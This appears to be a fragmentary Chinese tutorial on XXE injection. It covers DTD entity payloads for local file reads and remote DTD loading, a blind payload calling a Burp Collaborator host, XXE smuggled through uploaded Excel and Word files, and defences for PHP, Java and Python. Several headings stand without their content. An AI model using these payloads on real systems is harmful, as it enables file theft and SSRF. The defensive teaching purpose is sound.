xml作用:用于标记用户的数据与标记数据类型
定义以及基本结构
**内部声明DTD** <!DOCTYPE 根元素 [元素声明]>**引用外部DTD** <!DOCTYPE 根元素 SYSTEM "文件名"> #实例#内部实体<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe "test" >]>#内部实调用方法<creds><user>&xxe;</user><pass>mypass</pass></creds>#外部实体1-->即利用dtd进行引用的即是外部实体<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>#即利用该dtd属性进行引用<creds> <user>&xxe;</user> <pass>mypass</pass></creds>#外部实体2-->即进行外部引用<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> <!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> %an-element; %remote-dtd;
文件读取
其他利用姿势–>协议攻击,ssrf攻击,执行系统命令
典型利用方式与总结
深入了解xxe
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://gtdwmy7gvrncy5rvfu11kxzl2c82wr.burpcollaborator.net/"> ]>#内容更改为自己的burp collaborator地址<x>&xxe;</x>
1.)使用开发语言提供的禁用外部实体的方法
//php:libxml_disable_entity_loader(true); //java:DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);//Python:from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
2.)过滤用户提交的xml数据
过滤关键字:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC
3.)不允许xml中具有自己定义的DTD(即文档类型定义)
1.)利用excel进行xee攻击
原理:excel与所有post-Office 2007文件格式一样,现代Excel文件实际上只是XML文档的zip文件。这称为Office Open XML格式或OOXML。
excle构成
_rels:包关系,包含workbook.xml.rels,部分关系项SharedStrings.xml:共享字符串表部分,用户输入内容styles.xml:关于font、fill、border等相关样式定义theme;主题,包含theme1.xml,表示工作表1的主题workbook.xml:工作薄内容该书worksheets:sheet相关样式,含有sheet1.xml,表明单元格与样式间的关系、内容等。
利用方法–>即给excel的文件添加xml属性内容,上传excel后进行监听即可
利用代码
典型利用burp中的burp collaborator进行盲测攻击
结合burp联合证明方法–>即直接在xml中添加的链接是burp的
直接进行监听的方法
burp collaborator的使用技巧–>典型盲测必备
确认漏洞代码
更改内容即可
利用docs进行攻击
利用方法与excel的同
工具XXExploiter进行探测攻击
xxexploiter安装与攻击
联系客服